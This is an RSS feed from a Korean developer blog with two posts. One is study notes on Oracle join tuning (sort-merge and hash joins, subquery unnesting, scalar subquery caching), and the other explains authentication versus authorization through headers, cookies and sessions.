<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>dev-jay.log</title>
        <link>https://velog.io/</link>
        <description>https://develop247.tistory.com/</description>
        <lastBuildDate>Mon, 09 Jun 2025 01:12:06 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. dev-jay.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/dev-jay" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[조인 튜닝]]></title>
            <link>https://velog.io/@dev-jay/%EC%A1%B0%EC%9D%B8-%ED%8A%9C%EB%8B%9D</link>
            <guid>https://velog.io/@dev-jay/%EC%A1%B0%EC%9D%B8-%ED%8A%9C%EB%8B%9D</guid>
            <pubDate>Mon, 09 Jun 2025 01:12:06 GMT</pubDate>
            <description><![CDATA[<h2 id="42-소트-머지-조인">4.2 소트 머지 조인</h2>
<ul>
<li>조인 컬럼에 인덱스가 없을 때</li>
<li>대량 데이터 조인이어서 인덱스가 효과적이지 않을 때</li>
</ul>
<h3 id="421-sga-vs-pga">4.2.1 SGA vs. PGA</h3>
<p><code>SGA</code>는 캐시된 데이터가 들어가있는 공유 메모리 영역</p>
<p>여러 프로세스가 공유할 수 있지만, 동시에 액세스할 수 없다.</p>
<p><code>래치(Latch)</code> : 동시에 액세스하려는 프로세스 간 액세스를 직렬하기 위한 Lock 메커니즘</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/b3acab46-d4cf-4a63-8c1b-a9039f89b876/image.png" alt=""></p>
<p>오라클 서버 프로세스는 SGA에 공유된 데이터를 읽고 쓰면서, 동시에 자신만의 고유 메모리 영역인 <strong>PGA</strong>를 갖고 있다. 할당 받은 PGA 공간이 부족할 경우 Temp 테이블 스페이스를 활용한다.</p>
<p>PGA는 독립적인 메모리 공간이므로, <strong>래치가 불필요하기 때문에 같은 양의 데이터를 읽더라도 SGA 버퍼캐시에서 읽을 때보다 훨씬 빠르다.</strong></p>
<h3 id="422-기본-메커니즘">4.2.2 기본 메커니즘</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/b07da143-7829-4806-9099-45d8827a0eb7/image.png" alt=""></p>
<ol>
<li>소트 단계 : 양쪽 집합을 조인 컬럼 기준으로 정렬<ul>
<li>조건에 해당하는 데이터를 읽어 조인컬럼 순으로 정렬 후 PGA 영역의 Sort Area(부족할 경우 Temp 테이블)에 저장</li>
</ul>
</li>
<li>머지 단계 : 정렬한 양쪽 집합을 서로 머지(Merge)<ul>
<li>PGA에 저장한 데이터를 스캔하면서 조인</li>
</ul>
</li>
</ol>
<p>머지 단계는 NL 조인과 다르지 않다.</p>
<p>Sort 되어 있기 때문에 매번 Full Scan 하지 않을 수 있다.</p>
<p>Sort Area에 저장한 데이터 자체가 인덱스 역할이므로 조인 컬럼에 인덱스가 없어도 사용할 수 있다.</p>
<h3 id="423-소트-머지-조인이-빠른-이유">4.2.3 소트 머지 조인이 빠른 이유</h3>
<p><strong>NL 조인이 대량 데이터 조인에서 불리한 이유</strong> : NL 조인은 단적으로 말해 <strong>‘인덱스를 이용한 조인 방식’</strong>이다. 조인 과정에서 액세스하는 모든 블록을 랜덤 액세스 방식으로 ‘건건이’ DB 버퍼 캐시를 경유해서 읽는다. 즉, 인덱스든 테이블이든 읽는 모든 블록에 래치 획득 및 캐시버퍼 체인 스캔 과정을 거친다. 버퍼캐시에서 찾지 못한 블록은 ‘건건이’ 디스크에서 읽어 들인다. 인덱스 손익분기점 한계를 그대로 드러낸다.</p>
<p>반면, 소트머지 조인은 양쪽 테이블로부터 조인 대상 집합을 <strong>‘일괄적으로’</strong> 읽어 PGA에 저장한 후 조인한다. PGA는 독립적인 메모리 공간이므로 래치 획득 과정이 없기 때문에 대량 데이터 조인에 유리하다.</p>
<h3 id="424-소트-머지-조인의-주용도">4.2.4 소트 머지 조인의 주용도</h3>
<p>대량 데이터 처리에서 대부분의 경우 해시 조인이 더 빠르다. 하지만, 해시 조인은 조인 조건식이 등치(=) 조건이 아닐 때 사용할 수 없다는 단점이 있다.</p>
<ul>
<li>조인 조건식이 등치(=) 조건이 아닌 대량 데이터 조인</li>
<li>조인 조건식이 아예 없는 조인(Cross Join, 카테시안 곱)</li>
</ul>
<h3 id="425-소트-머지-조인-제어하기">4.2.5 소트 머지 조인 제어하기</h3>
<pre><code class="language-sql">/* ordered use_merge(c) */
/* leading(e) use_merge(c) */</code></pre>
<p>ordered(leading)는 FROM 절에 기술한 순서대로 조인하라고 지시하는 힌트다.</p>
<p>위에서는 ordered(leading)와 use_merge(c) 를 동시에 사용했으므로 양쪽 테이블을 조인 컬럼 순으로 각각 정렬한 후 정렬된 e를 기준으로 정렬된 c와 조인하라는 뜻이다.</p>
<h3 id="426-소트-머지-조인-특징-요약">4.2.6 소트 머지 조인 특징 요약</h3>
<p>소트 머지 조인은 조인을 위해 실시간으로 인덱스를 생성하는 것과 다름 없다.</p>
<p>따라서 소트 부하만 감수한다면, 건건이 버퍼캐시를 경유하는 NL 조인보다 빠르다.</p>
<p>조인 컬럼에 인덱스가 없는 상황에서 두 테이블을 각각 읽어 조인 대상 집합을 줄일 수 있을 때 매우 유리하다.</p>
<p>스캔 위주의 액세스 방식을 사용한다는 점도 중요한 특징이다. 가끔씩은 조인 대상 레코드를 찾는데 인덱스를 사용할 수 있고, 그 때는 랜덤 액세스가 일어난다.</p>
<p>🔹 Sort-Merge Join의 부하 예시</p>
<pre><code class="language-sql">SELECT *
FROM big_a a
JOIN big_b b ON a.id = b.id;
-- 두 테이블 다 수백만 건, 정렬된 인덱스 없음</code></pre>
<ul>
<li>옵티마이저가 Hash Join보다 SMJ를 선택했을 경우:<ul>
<li><code>a.id</code>, <code>b.id</code>를 모두 정렬해야 함 → <strong>PGA 메모리 압박</strong></li>
<li>메모리 부족 → <strong>TEMP 디스크로 Spill</strong></li>
<li>결과: <strong>소트 부하 발생</strong></li>
</ul>
</li>
</ul>
<h2 id="43-해시-조인">4.3 해시 조인</h2>
<p>NL 조인은 인덱스를 아무리 완벽하게 구성해도 랜덤 I/O 때문에 대량 데이터 처리에 불리하고, 버퍼캐시 히트율에 따라 들쭉날쭉한 성능을 보인다. 소트 머지와 해시 조인은 조인 과정에서 인덱스를 사용하지 않기 때문에 대량 데이터 조인 시에 훨씬 빠르고, 일정한 성능을 보인다. 소트 머지 조인은 항상 양쪽 테이블을 정렬하는 부담을 보이는데, 해시 조인은 그런 부담도 없다.</p>
<h3 id="431-기본-메커니즘">4.3.1 기본 메커니즘</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/8cc4db0e-02fd-4016-aba0-af3ddb2799cc/image.png" alt=""></p>
<ol>
<li>Build 단계 : 작은 쪽 테이블(Build Input)을 읽어 해시 테이블(해시 맵) 생성<ul>
<li>이 때, 조인컬럼을 해시 테이블 키 값으로 사용, 해시 체인에 데이터를 연결</li>
<li>해시 테이블은 PGA 영역에 할당된 Hash Area에 저장 (해시 테이블이 너무 크면 Temp 테이블)</li>
</ul>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/980710a1-13b2-41e2-88f5-db2be2f3bcae/image.png" alt=""></p>
<ol>
<li>Probe 단계 : 큰 쪽 테이블(Probe Input)을 읽어 해시 테이블을 탐색하면서 조인<ul>
<li>조인 컬럼을 해시 함수에 입력해서 반환된 값으로 해시 체인을 찾고, 그 해시 체인을 스캔해서 값이 같은  컬럼 값을 찾는다.</li>
</ul>
</li>
</ol>
<p>실제 조인을 수행하는 Probe 단계는 NL 조인과 다르지 않다는 사실을 알 수 있다.</p>
<h3 id="432-해시-조인이-빠른-이유">4.3.2 해시 조인이 빠른 이유</h3>
<p>Hash Area에 생성한 해시 테이블을 이용한다는 점만 다를 뿐 해시 조인도 프로세싱 자체는 NL 조인과 같다. 그럼에도 빠른 결정적인 이유는 소트 머지 조인이 빠른 이유와 동일하게, <strong>해시 테이블을 PGA 영역에 할당하기 때문이다.</strong></p>
<p>해시 조인도 각 테이블을 읽을 때는 DB 버퍼캐시를 경유한다. 이 때 인덱스를 이용하기도 한다. 이 과정에서 생기는 버퍼캐시 탐색 비용과 랜덤 액세스 부하는 해시 조인이라도 피할 수 없다.</p>
<p>그런데 대량 데이터를 조인할 때 소트 머지 조인보다 해시 조인이 더 빠른 이유는 무엇일까? 두 조인 메소드의 성능 차이는 사전 준비작업에 기인한다.</p>
<p>소트 머지 조인은 ‘양쪽’ 집합을 모두 정렬해서 PGA에 담는다. PGA는 그리 큰 메모리 공간이 아니므로 두 집합 중 어느 하나가 중대형 이상이면, Temp 테이블스페이스, 즉 디스크에 쓰는 작업을 반드시 수행한다.</p>
<p>해시 조인은 둘 중 작은 집합을 해시 맵 Build Input으로 선택하므로 두 집합 모두 Hash Area에 담을 수 없을 정도로 큰 경우가 아니면, <strong>디스크에 쓰는 작업은 전혀 일어나지 않는다.</strong> (In-Memory Hash Join)</p>
<p>설령 Temp 테이블스페이스를 쓰게 되더라도 <strong>소트머지처럼 양쪽 집합을 미리 정렬하는 부하도 없기에 일반적으로 해시 조인이 가장 빠르다.</strong></p>
<h3 id="433-대용량-build-input-처리">4.3.3 대용량 Build Input 처리</h3>
<p>두 테이블 모두 대용량이어서 인메모리 해시 조인이 불가능할 때, DBMS는 분할·정복 방식을 사용한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/9631a0ef-3e8d-4184-a94b-7e7dc658cafb/image.png" alt=""></p>
<ol>
<li>파티션 단계<ul>
<li>조인하는 양쪽 집합의 조인 컬럼에 해시 함수를 적용하고, 반환된 해시 값에 따라 동적으로 파티셔닝한다.</li>
</ul>
</li>
<li>조인 단계 <ul>
<li>각 파티션 짝에 대해 하나씩 조인을 수행한다. 각 파티션 짝별로 작은 쪽을 Build Input으로 선택하고 해시 테이블을 생성한다. 해시 테이블을 생성하고 나면 반대쪽 파티션 로우를 하나씩 읽으면서 해시 테이블을 탐색한다. 모든 파티션 짝에 대한 처리를 마칠 때까지 반복한다.</li>
</ul>
</li>
</ol>
<h3 id="434-해시-조인-실행계획-제어">4.3.4 해시 조인 실행계획 제어</h3>
<p>use_hash 힌트만 사용할 경우 Build Input을 옵티마이저가 선택하는데, 일반적으로 둘 중 (전체가 아닌 각 테이블 조건절에 대한) 카디널리티가 작은 테이블을 선택한다.</p>
<p>leading, ordered 힌트를 사용하여 가장 먼저 읽는 테이블을 Build Input을 지정할 수 있다.</p>
<p>swap_join_inputs 힌트를 통해 Build Input을 명시적으로 선택할 수도 있다.</p>
<p>세 개 이상의 테이블을 조인할 때도 마찬가지로 순서에 따라 leading 힌트를 지정하고, swap_join_inputs 힌트를 통해 Build Input을 조정하면 된다. Build Input으로 선택하고 싶은 테이블이 조인된 결과 집합이어서 힌트로 지정하기 어렵다면, no_swap_join_inputs 힌트를 통해 반대쪽 Probe Input을 선택해주면 된다.</p>
<h3 id="435-조인-메소드-선택-기준">4.3.5 조인 메소드 선택 기준</h3>
<ol>
<li>소량 데이터 조인할 때 → <strong>NL 조인</strong></li>
<li>대량 데이터 조인할 때 → <strong>해시 조인</strong></li>
<li>대량 데이터 조인인데 해시 조인으로 처리할 수 없을 때, 즉 조인 조건식이 등치(=) 조건이 아니거나 카테시안 곱일 때 → <strong>소트 머지 조인</strong></li>
</ol>
<p>여기서 <strong>소량과 대량의 기준은 단순히 데이터량의 많고 적음이 아니라, NL 조인 기준으로 ‘최적화했는데도’ 랜덤 액세스가 많아 만족할만한 성능을 낼 수 없을 경우 대량 데이터 조인</strong>에 해당한다.</p>
<p>수행 빈도가 매우 높은 쿼리에 대해서는 아래와 같은 기준도 필요하다.</p>
<ol>
<li>(최적화된) NL 조인과 해시 조인 성능이 같으면, NL 조인</li>
<li>해시 조인이 약간 더 빨라도 NL 조인</li>
<li>NL 조인보다 해시 조인이 매우 빠른 경우, 해시 조인</li>
</ol>
<p>매우 빠른 경우는 대량 데이터 조인이라는 의미와 같다. SQL 최적화할 때 <strong>옵티마이저가 수행빈도까지 고려하지 않으므로 매우 중요한 선택 기준</strong>이다.</p>
<p>NL 조인에 사용하는 인덱스는 영구적으로 유지하면서 다양한 쿼리를 위해 공유하는 반면, <strong>해시 테이블은 단 하나의 쿼리를 위해 생성하고 조인이 끝나면 곧바로 소멸하는 자료구조다.</strong> 따라서 수행시간이 짧으면서 수행빈도가 매우 높은 쿼리를 해시 조인으로 처리하면 CPU와 메모리 사용량이 크게 증가하며 래치 경합도 자주 발생한다.</p>
<p>결론적으로 <strong>해시 조인은 ① 수행 빈도가 낮고 ② 쿼리 수행 시간이 오래 걸리는 ③ 대량 데이터 조인할 때 사용</strong>해야한다. OLTP 환경에서 최적화된 NL 조인으로 0.1초 걸리는 쿼리를 0.01초로 단축할 목적으로 해시 조인을 쓰는 것은 가급적 자제하라는 뜻이다.</p>
<h2 id="44-서브쿼리-조인">4.4 서브쿼리 조인</h2>
<h3 id="441-서브쿼리-변환이-필요한-이유">4.4.1 서브쿼리 변환이 필요한 이유</h3>
<p>옵티마이저는 사용자로부터 전달받은 SQL을 최적화에 유리한 형태로 변환하는 쿼리 변환부터 진행한다.</p>
<p>서브쿼리는 하나의 SQL문 안에 괄호로 묶은 별도의 쿼리 블록을 말한다.</p>
<ol>
<li>인라인 뷰(Inline View) : FROM 절에 사용한 서브쿼리</li>
<li>중첩된 서브쿼리(Nested Subquery) : WHERE 절에 사용한 서브쿼리. 특히 서브쿼리가 메인쿼리 컬럼을 참조하는 형태를 ‘상관관계 있는(Correlated) 서브쿼리’라고 부른다.</li>
<li>스칼라 서브쿼리(Scalar Subquery) : 한 레코드당 정확히 하나의 값을 반환하는 서브쿼리. 주로 SELECT-LIST에서 사용한다.</li>
</ol>
<p>옵티마이저는 쿼리 블록 단위로 최적화를 수행한다. 서브쿼리별 최적화된 쿼리가 전체적으로도 최적화됐다고 말할 수는 없다.</p>
<h3 id="442-서브쿼리와-조인">4.4.2 서브쿼리와 조인</h3>
<p>서브쿼리는 메인쿼리에 종속되므로 단독으로 실행할 수 없다. 메인쿼리 건수만큼 값을 받아 반복적으로 필터링하는 방식으로 실행해야 한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/95bf7ce9-3a24-4538-b860-58c10a8e8709/image.png" alt=""></p>
<p><strong>필터 오퍼레이션</strong> : 필터는 메인쿼리의 한 로우가 서브쿼리의 한 로우와 조인에 성공하는 순간 진행을 멈추고, 메인쿼리의 한 로우와 조인에 성공하는 순간 진행을 멈추고, 메인쿼리의 다음 로우를 계속 처리한다.</p>
<p>서브쿼리 입력 값에 따른 반환 값(true/false)을 캐싱하여 서브쿼리를 수행하기 전에 항상 캐시부터 확인한다. PGA 메모리에 공간을 할당하고, 쿼리를 수행하면서 공간을 채워나가며, 쿼리를 마치는 순간 공간을 반환한다.</p>
<p><strong>필터 서브쿼리는 메인쿼리에 종속되므로 조인 순서가 고정된다. 항상 메인쿼리가 드라이빙 집합이다.</strong></p>
<p><strong>서브쿼리 Unnesting</strong> : 메인과 서브쿼리 간의 계층구조를 풀어 같은 레벨(flat한 구조)로 만들어 준다.</p>
<p>서브쿼리를 그대로 두면 필터 방식을 사용할 수밖에 없지만, Unnesting 하고 나면 일반 조인문처럼 다양한 최적화 기법을 사용할 수 있다.</p>
<p>NL 세미 조인은 조인에 성공하는 순간 진행을 멈추고 메인 쿼리의 다음 로우를 계속 처리하는 NL 조인이다. 캐싱 기능도 갖고 있으므로 필터 오퍼레이션과 큰 차이가 없다.</p>
<p>Unnesting된 서브쿼리는 NL 세미조인 외에도 다양한 방식으로 사용될 수 있다. 필터방식은 항상 메인쿼리가 드라이빙 집합이지만, <strong>Unnesting된 서브쿼리는 메인 쿼리 집합보다 먼저 처리될 수 있다.</strong></p>
<p>서브쿼리를 Unnesting 해서 메인쿼리와 같은 레벨로 만들면, 다양한 조인 메소드를 선택할 수 있고 조인 순서도 마음껏 정할 수 있다. <strong>필터 오퍼레이션보다 더 좋은 실행경로를 찾을 가능성이 높아진다.</strong></p>
<p><strong>ROWNUM</strong> : 병렬쿼리나 서브쿼리에 rownum을 자주 사용하는데, 이는 의미의 중복이고(필터 오퍼레이션) 성능에 문제를 일으킬 수 있다. <strong>서브쿼리에 rownum을 쓰면 옵티마이저에게 “이 서브쿼리 블록은 손대지 말라”고 선언하는 것이기 때문에, 서브쿼리 Unnesting 으로 더 좋은 실행경로를 찾을 가능성이 사라진다.</strong></p>
<p><strong>서브쿼리 Pushing</strong> : 서브쿼리 필터링을 가능한 한 앞 단계에서 처리하도록 강제하는 기능이며, push_subq 힌트로 제어한다. 이 기능은 Unnesting 되지 않은 서브쿼리에만 작동한다. 따라서 push_subq 힌트는 항상 no_unnest 힌트와 같이 기술하는 것이 올바른 사용법이다.</p>
<h3 id="443-뷰view와-조인">4.4.3 뷰(View)와 조인</h3>
<p>최적화 단위가 쿼리 블록이므로 옵티마이저가 뷰 쿼리를 변환하지 않으면 뷰 쿼리 블록을 독립적으로 최적화한다. 문제는, 필터링 조건이 인라인 뷰 바깥에 있는데 인라인 뷰 안에서는 바깥의 데이터를 읽어야 하는 시점이다. 이럴 때 Merge 힌트를 이용해 뷰를 메인쿼리와 머징하여 문제를 해결할 수 있다. </p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/aa227ee4-3451-4933-b75f-30ea8c8db8e2/image.png" alt=""></p>
<p>단점은 인덱스를 이용한 NL 조인에서 성공한 전체 집합을 Group By 하고서야 데이터를 출력할 수 있다는 데 있다. 즉, 부분범위 처리가 불가능하다. 그런 상황에서는 해시 조인을 사용한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/e3ea2e8d-170c-4cda-babe-327d1a76f3ff/image.png" alt=""></p>
<p>조인 조건 Pushdown : 메인 쿼리를 실행하면서 조인 조건절 값을 건건이 뷰 안으로 밀어 넣는 기능이다. (11g) 실행계획의 VIEW PUSHED PREDICATE 오퍼레이션을 통해 이 기능의 동작 여부를 확인할 수 있다.</p>
<p>이 방식을 사용하면 ‘건건이’ 읽어서 조인하고 Group By를 수행한다. <strong>즉, 부분범위 처리가 가능하다.</strong> 뷰를 독립적으로 실행할 때처럼 테이블을 모두 읽지 않아도 되고, 뷰를 머징할 때처럼 조인에 성공한 전체 집합을 Group By 하지 않아도 된다.</p>
<p>push_pred 힌트를 사용하며 옵티마이저가 뷰를 머징하면 힌트가 작동하지 않으니 no_merge 힌트를 함께 사용하는 습관이 필요하다.</p>
<h3 id="444-스칼라-서브쿼리-조인">4.4.4 스칼라 서브쿼리 조인</h3>
<p>(1) 스칼라 서브쿼리의 특징</p>
<p>반복해서 읽는다는 측면에서 함수와 비슷해 보이지만, 함수처럼 ‘재귀적으로’ 실행하는 구조가 아니다. <strong>컨텍스트 스위칭 없이 메인 쿼리와 서브쿼리를 한 몸체처럼 실행</strong>한다.</p>
<p>Outer 조인문처럼 NL 조인 방식으로 실행되지만, 처리 과정에서 캐싱 작용이 일어난다는 차이점이 있다.</p>
<p>(2) 스칼라 서브쿼리 캐싱 효과</p>
<p>스칼라 서브쿼리로 조인하면 오라클은 조인 횟수를 최소화하기 위해 입력 값과 출력 값을 내부 캐시(Query Execution Cache)에 저장해 둔다. 스칼라 서브쿼리의 입력 값은, 그 안에서 참조하는 메인 쿼리의 컬럼 값이다.</p>
<p>캐싱은 쿼리 단위로 이루어진다. 쿼리를 시작할 때 PGA 메모리에 공간을 할당하고, 쿼리를 수행하면서 공간을 채워나가며, 쿼리를 마치는 순간 공간을 반환한다.</p>
<p>SELECT-LIST에 사용하는 함수도 스칼라 서브쿼리를 덧씌우면 캐싱 효과로 호출 횟수를 최소화할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/4b622614-11b3-4e93-bd2d-1674ff5fb08c/image.png" alt=""></p>
<p>(3) 스칼라 서브쿼리 캐싱 부작용</p>
<p>캐시 공간은 늘 부족하다. 스칼라 서브쿼리에 사용하는 캐시도 매우 작은 메모리 공간이다.</p>
<p><strong>스칼라 서브쿼리 캐싱 효과는 입력 값의 종류가 소수여서 해시 충돌 가능성이 작을 때 효과가 있다. 반대의 경우라면 캐시를 매번 확인하는 비용 때문에 오히려 성능이 나빠지고 CPU 사용률만 높게 만들고 메모리 공간 낭비도 심해진다.</strong></p>
<p>메인 쿼리 집합이 매우 작은 경우도 캐싱이 성능에 도움을 주지 못한다. 스칼라 서브쿼리 캐싱은 쿼리 단위이기 대문에 메인쿼리 집합이 클수록 재사용성이 높아 효과도 크기 때문이다.</p>
<p>(4) 두 개 이상의 값 반환</p>
<p>스칼라 서브쿼리에는 두 개 이상의 값을 반환할 수 없다는 치명적인 제약이 있다. 부분범위 처리가 가능한 스칼라 서브쿼리의 장점을 이용하고 싶을 때 고민이 생기기 마련이다.</p>
<p>이러한 상황에서는 구하는 값들을 문자열로 모두 결합하고, 바깥쪽 액세스 쿼리에서 substr 함수로 다시 분리하여 문제를 해결할 수 있다. 인라인 뷰를 사용하면 편하긴 하지만, 뷰가 머징되지 않았을 때 테이블 전체를 읽어야하거나 머징될 때 Group By 때문에 부분범위 처리가 안 되는 문제가 있다. 다행히 11g 이후로는 조인 조건 Pushdown 기능이 잘 작동하므로 편하게 사용 가능하다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/38fa5876-7ee5-4f52-9729-0e9f72afb97c/image.png" alt=""></p>
<p>(5) 스칼라 서브쿼리 Unnesting</p>
<p>스칼라 서브쿼리도 NL 방식으로 조인하므로 캐싱 효과가 크지 않으면 랜덤 I/O 부담이 있다. 특히 병렬 쿼리에서는 대량 데이터를 처리하므로 해시 조인으로 처리해야 효과적이다.</p>
<p>오라클 12c부터 스칼라 서브쿼리도 Unnesting이 가능해졌다. <em>_optimizer_unnest_scalar_sq</em> 파라미터를 true로 설정하면, 스칼라 서브쿼리를 Unnesting 할지 여부를 옵티마이저가 결정한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/bcfd0e12-9715-4037-b914-27e04c0d5d42/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[인증과 인가의 차이]]></title>
            <link>https://velog.io/@dev-jay/%EC%9D%B8%EC%A6%9D%EA%B3%BC-%EC%9D%B8%EA%B0%80%EC%9D%98-%EC%B0%A8%EC%9D%B4</link>
            <guid>https://velog.io/@dev-jay/%EC%9D%B8%EC%A6%9D%EA%B3%BC-%EC%9D%B8%EA%B0%80%EC%9D%98-%EC%B0%A8%EC%9D%B4</guid>
            <pubDate>Wed, 01 May 2024 19:30:42 GMT</pubDate>
            <description><![CDATA[<h2 id="인증과-인가">인증과 인가</h2>
<p><strong>인증(Authentication)과 인가(Authorization)</strong>는 항상 함께 등장하는 개념이면서 사용하기에 헷갈리는 용어이기도 하다.</p>
<p>문맥상 어색하지 않은 경우가 있어 이 둘의 차이를 두지 않고 사용하는 경우도 빈번하다.</p>
<p>인증과 인가의 차이에 대해 예시를 통해 자세히 알아보자.
<img src="https://velog.velcdn.com/images/dev-jay/post/2480574a-23b1-4872-a36c-16f9df20014e/image.png" alt="">
우리가 SSAFY에 입과했던 첫 날 프로님께서 우리의 신상을 확인하시고, 출입증을 배부해주셨다. 이것이 바로 <strong>인증(Authentication)</strong>이다.</p>
<p>출입증에 명시되어 있는 사진과 이름의 정보로 신원을 확인하는 것이다. 개발자스럽게 이를 정의해보면, <strong>식별 가능한 정보를 통해 서비스에 등록된 사용자의 신원을 인증</strong>하는 과정을 말한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/b6ee197d-f10f-48d3-9504-b1befa2ab984/image.png" alt=""></p>
<p>우리는 배부 받은 출입증을 통해 대전 캠퍼스 내의 교실, 식당 카페를 이용할 수 있었다. 그러나 우리의 대전 캠퍼스는 사실 삼성화재의 연수 공간으로 SSAFY 만을 위한 공간이 아니었다. 따라서 우리는 교실, 식당, 카페를 제외한 숙소, 강당 등의 시설을 특별한 일 이외에는 사용할 수 없었다.</p>
<p>싸피생은 삼성화재 유성캠퍼스 내 교실, 식당, 카페를 제외하고 다른 시설을 이용할 수 없다. 이것을 <strong>인가(Authorization)</strong>라고 한다. <strong>인증된 사용자에 대해서, 자원에 접근할 수 있는 권한인지 확인하는 과정</strong>이다.</p>
<p>이를 웹에 간단히 적용해보자.
<img src="https://velog.velcdn.com/images/dev-jay/post/0a211400-1df4-4c96-8d13-051c67ef098a/image.png" alt=""></p>
<p>한 게시판 서비스에 사용자가 글을 작성하고 싶어한다.</p>
<p>이를 위해 서비스에 회원가입을 진행한다. 이 과정에서 글을 작성할 수 있는 <strong>권한(authority)</strong>을 획득한다.</p>
<p>회원가입 완료 후, 사용자는 서비스를 사용하기 위해 <strong>로그인</strong>을 한다. 이 과정이 <strong>인증</strong>이다.</p>
<p>그리고 회원가입을 통해 얻은 글 작성 권한을 통해 <strong>글을 작성할 수 있다.</strong> 이 과정이 <strong>인가</strong>이다. 또, 다른 사람의 글을 볼 수 있지만, 수정이나 삭제는 할 수 없다. 이 과정 또한 인가가 적용된 개념이다.</p>
<blockquote>
<p>정리해보면, 우리는 글을 작성하기 위해 권한이 필요하고(인가)  권한을 확인 받기 위해서는 로그인(인증)을 해야한다.
즉, <strong>인가를 위해서는 인증이 선행되어야 하는 개념</strong>임을 알 수 있다.</p>
</blockquote>
<p>그러면 이제부터 본격적으로 인증이란 무엇인지에 대해 알아보자.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/1bb4cecf-6fc3-4395-a1f6-2fe6d602fb11/image.png" alt=""></p>
<p>웹은 클라이언트와 서버 사이에 http 프로토콜로 통신을 진행한다. 클라이언트 서버 구조에서 가장 중요한 특징은 <strong>무상태성(Stateless)</strong>이다. 서버는 클라이언트가 보낸 요청과 그 다음 요청의 연관관계가 없다고 생각하고 요청을 처리한다.</p>
<h3 id="request-header-활용하기">Request Header 활용하기</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/2d55218a-1cad-4530-8389-d60110b887f7/image.png" alt=""></p>
<p>맨 처음 구현되었던 인증 방식은, 클라이언트가 header에 로그인 정보를 담아서 서버에 요청을 보내는 방식이었다. 당연히 아이디와 패스워드는 브라우저에서** Base64 방식<strong>으로 인코딩을 진행한 후에, **Authorization header</strong>에 담겨서 보내졌다. 그 후에 서버가 디코딩 후 데이터베이스에서 체크를 진행한 후에, 응답을 보냈다.</p>
<p>그러나, 이 방식은 문제점이 하나 존재했다. 클라이언트 서버 구조의 무상태성으로 인해, 사용자가 요청을 할 때마다 <strong>매번 로그인을 진행해야 된다는 점</strong>이었다.</p>
<h3 id="browser-활용하기">Browser 활용하기</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/ac63533b-a4b1-4c68-a6cb-ac179d224aa3/image.png" alt=""></p>
<p>매번 인증한다는 불편한 점을 해결하기 위해, 브라우저의 힘을 빌리기로 한다. 정확히는, 브라우저가 갖고 있는 스토리지인 <strong>쿠키(Cookie)</strong>를 통해 문제를 해결해보고자 했다.</p>
<p>쿠키에 인증 정보를 저장하고 이를 스토리지에 저장해두었다가, 사용자가 인증이 필요한 작업을 진행할 때 쿠키를 함께 보내는 방식이다. 덕분에 사용자는 매번 인증을 하지 않아도 된다는 편리함을 얻게 되었다.</p>
<p>그러나 이는 해커에게도 편리함을 제공하였다. 왜냐하면, 클라이언트의 스토리지에 사용자 인증 정보에 대한 low data가 그대로 노출되어 있기 때문이다. 클라이언트가 서버보다 상대적으로 보안에 취약하기 때문에, <strong>쿠키에 사용자 정보를 그대로 저장하는 것은 위험성이 너무 컸다.</strong></p>
<h3 id="session-활용하기">Session 활용하기</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/f963878b-5dc9-4647-b0a4-1673009c4002/image.png" alt=""></p>
<p>이러한 보안 취약점을 해결하기 위해서 이번엔 서버의 힘을 빌리기로 한다. 클라이언트가 서버에 처음 인증 요청을 보내고 나면, 서버는 로그인 정보에 대응하는 <strong>세션 키(Session Key)</strong>를 생성하게 되고, 세션 키를 이용한 저장소를 생성하여 이를 저장하며, 세션 키를 담은 Cookie를 생성하여 응답으로 보내게 된다. 그 다음 클라이언트가 인증이 필요한 활동을 할 때 만들어진 <strong>JSESSIONID</strong>를 key로 전송하면서 통신을 진행하게 된다.</p>
<p>Session을 사용했을 때의 장점은 클라이언트 측에서 사용자의 low data를 보유하고 있지 않으니 해커가 쿠키를 탈취해가더라도 크게 위험하지 않다는 점이다. 또한 세션이 가지고 있는 기능 중 하나인 <strong>만료기간</strong>을 통해 해커가 사용자의 세션을 통해 요청을 보내더라도 만료기간이 지났다면 세션이 유효하지 않다는 장점이 존재한다. 세션을 서버가 관리하고 있기 때문에, 탈취가 된 세션을 삭제해버린다면 세션 자체를 이용하지 못한다는 <strong>보안 상의 이점</strong>도 존재한다.</p>
<p>그러나 Session도 문제점이 존재했다.
<img src="https://velog.velcdn.com/images/dev-jay/post/dc32c270-a5c1-4b33-a7d9-fec61e50dd2e/image.png" alt=""></p>
<p>서비스의 스케일이 커져서, 로드 밸런서를 도입하여 서버를 여러대 관리한다고 가정해보자. 만약 클라이언트가 서버 A를 통해 세션을 인증하게 된다면, 세션의 정보는 서버 A에서만 저장되어 관리된다. </p>
<p>그런데 <strong>클라이언트의 다음 요청을 로드밸런서가 서버 B로 전달한다면?</strong> 서버 B에는 클라이언트의 세션 정보가 저장되어 있지 않기 때문에, 비인가 처리로 분류되어 데이터베이스에 접근을 할 수 없게 되고 <strong>클라이언트는 인증을 다시 해야되는 상황이 발생</strong>한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/125f5c05-9dc8-4ecd-8d32-47f864f80896/image.png" alt=""></p>
